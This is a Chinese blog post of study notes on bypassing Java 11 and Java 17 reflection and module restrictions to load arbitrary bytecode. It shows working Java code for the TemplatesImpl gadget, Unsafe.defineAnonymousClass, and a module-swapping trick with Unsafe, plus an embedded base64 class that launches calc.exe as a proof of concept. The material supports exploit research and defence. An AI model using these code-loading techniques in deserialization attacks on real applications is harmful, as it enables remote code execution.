前言

就像以前看到过的,Java8以后的一些版本对反射操作做了限制,比如Java9就对反射操作进行了一定程度的WARNING。

这里学习一下具体的限制版本和绕过方式,顺带一说的是,IDEA切换Maven项目的Java版本时,也要记得把pom.xml里面的改一下。


环境搭建

搞两个版本的Java,分别是Java11和Java17。

Java11

首先,反射使用TemplatesImpl加载类依旧行得通,计算器正常弹出,只是会发生大量WARNING:

public static void main(String[] args) {
    try {
        Class<?> cls = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Object templates = cls.getConstructor().newInstance();
        Class<?> cls2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Object factory = cls2.getConstructor().newInstance();
        setField(templates, "_name", "Twings");
        setField(templates, "_bytecodes", new byte[][]{getBytes()});
        setField(templates, "_tfactory", factory);
        Method m = cls.getDeclaredMethod("getOutputProperties");
        m.invoke(templates);
    }catch (Exception e) {
        log.info(e.getMessage());
    }
}

private static byte[] getBytes() {
    return Base64.getDecoder().decode("yv66vgAAADQAIwoAAwAOBwAPBwAQBwARAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMb3JnL2V4YW1wbGUvVGVzdEphdmFzc2lzdDsBAApTb3VyY2VGaWxlAQASVGVzdEphdmFzc2lzdC5qYXZhDAAFAAYBABlvcmcvZXhhbXBsZS9UZXN0SmF2YXNzaXN0AQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAEwEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABUAFgoAFAAXAQAIY2FsYy5leGUIABkBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAbABwKABQAHQEADVN0YWNrTWFwVGFibGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAgCgAhAA4AIQACACEAAQAEAAAAAgABAAUABgABAAcAAAAvAAEAAQAAAAUqtwAisQAAAAIACAAAAAYAAQAAAAUACQAAAAwAAQAAAAUACgALAAAACAASAAYAAQAHAAAAJAADAAIAAAAPpwADAUy4ABgSGrYAHlexAAAAAQAfAAAAAwABAwABAAwAAAACAA0=");
}

WARNING:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.example.Main (file:/D:/Java1.8/Unsafe/Unsafe/target/classes/) to constructor com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl()
WARNING: Please consider reporting this to the maintainers of org.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

该版本下Unsafe类去除了defineClass函数,只能通过defineAnonymousClass函数来加载类字节码:

Class<?> cls = Class.forName("sun.misc.Unsafe");
Field field = getField(cls, "theUnsafe");
Object unSafe = field.get(null);
Method method = unSafe.getClass().getDeclaredMethod("defineAnonymousClass", Class.class, byte[].class, Object[].class);
Class<?> c = (Class<?>)method.invoke(unSafe, new Object[]{Runtime.class, getBytes(), null});
c.newInstance();

以前在Java9行得通,但是在Java11.0.23版本下出现了问题:

Host class java/lang/Runtime and anonymous class org/example/TestJavassist are in different packages

看起来是待加载类和hostClass参数所属包不同导致的,应该可以通过修改待加载类的所属包来解决,但如果直接修改包名为java.lang来匹配就会遇到问题:

Prohibited package name: java.lang

解决方法一是修改类加载的hostClass或者在已知环境的条件下修改待加载类的包:

Class<?> cls = Class.forName("sun.misc.Unsafe");
Field field = getField(cls, "theUnsafe");
Object unSafe = field.get(null);
Method method = unSafe.getClass().getDeclaredMethod("defineAnonymousClass", Class.class, byte[].class, Object[].class);
Class<?> c = (Class<?>)method.invoke(unSafe, new Object[]{Main.class, getBytes(), null});
c.newInstance();

另一个方法好像也可以用于Java17的绕过,所以在下一部分再研究。

Java17

在该版本下,TemplatesImpl类也无法直接使用了,会爆出异常:

信息: class org.example.Main cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @4dd8dc3

可以看出,Java17加强了对反射的限制,禁止了跨模块的反射访问,报错发生在getDeclaredConstructor之后的newInstance步骤,也就是说无法通过反射获得对象实例进行函数调用。根据参考文章的说法,现在采用的是强封装,所有反射在访问java.*包下非public属性和函数时,将抛出InaccessibleObjectException异常。

而且Unsafe中的defineClass函数和defineAnonymousClass函数都被移除了,不能直接进行类加载,但是根据参考文章,此时官方还预留了sun.misc和sun.reflect两个包,这两个包仍然可以可以被反射调用,所以就有一种可能性,这两个包内存在某个类,通过反射调用它的某个函数可以绕过模块限制。

此时我们需要使用ClassLoader的defineClass函数进行类加载,所以我们就需要想办法让此时正在运行的代码(如Main函数)与ClassLoader属于同一个包,比如修改当前代码所属的包。

而Unsafe类正好有这个功能:

Class<?> unSafe=Class.forName("sun.misc.Unsafe");
Field unSafeField=unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);
Module baseModule = Object.class.getModule();
Class<?> currentClass= Main.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, baseModule);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes = getBytes();
Class<?> calc= (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "org.example.TestJavassist", bytes, 0, bytes.length);
calc.newInstance();

需要注意的是,字节码需要重新生成,去掉TemplatesImpl使用时加上的superClass。

可以看到,虽然可以进行类加载,但是由于模块隔离,想要调用TemplatesImpl等类的函数就需要先获得其module并改写当前类,然而这种方法又需要反射其Class和Field,看起来好像没什么办法。

至于对反序列化的影响,改日再学习。


参考

浅析高版本JDK反射类加载问题

从一道题初接触RASP


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

关于Java17下面的反序列化问题
yolov10入门